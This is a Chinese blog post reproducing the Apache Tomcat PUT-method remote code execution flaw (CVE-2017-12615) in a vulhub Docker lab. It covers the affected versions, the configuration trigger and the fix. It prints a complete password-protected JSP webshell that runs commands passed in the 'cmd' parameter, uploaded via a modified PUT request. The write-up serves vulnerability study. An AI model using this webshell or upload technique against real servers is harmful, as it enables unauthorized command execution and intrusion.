zoukankan      html  css  js  c++  java
  • 漏洞复现——tomcat远程代码执行漏洞

    漏洞描述:

    当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行

    影响范围:

    Apache Tomcat 7.0.0 - 7.0.79

    漏洞分析:

    该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加

    <init-param> 
    
     <param-name>readonly</param-name> 
    
      <param-value>false</param-value> 
    
    </init-param>
    当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法


    修复方案:
    禁用PUT方法即可

    实验步骤:
    1.docker上开启tomcat服务:

    cd vulhub/

    cd tomcat/

    cd CVE-2017-12615/

    docker-compose build

    docker-compose up -d



    2.Windows上打开tomcat网页,开始上传jsp文件

    bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)

    jsp代码:

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

    3.查看是否上传成功,并执行代码

    成功上传,查看whoami,jsp木马的密码是023

     
  • 相关阅读:
    ubuntu远程windows桌面
    spring boot 给返回值加状态 BaseData
    spring boot 拦截异常 统一处理
    IntelliJ IDEA spring boot 远程Ddbug调试
    IntelliJ IDEA 常用插件
    spring boot 请求地址带有.json 兼容处理
    spring boot 接口返回值去掉为null的字段
    spring boot 集成disconf
    Spring boot 自定义拦截器
    Linux下安装MySQL
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/9954493.html
Copyright © 2011-2022 走看看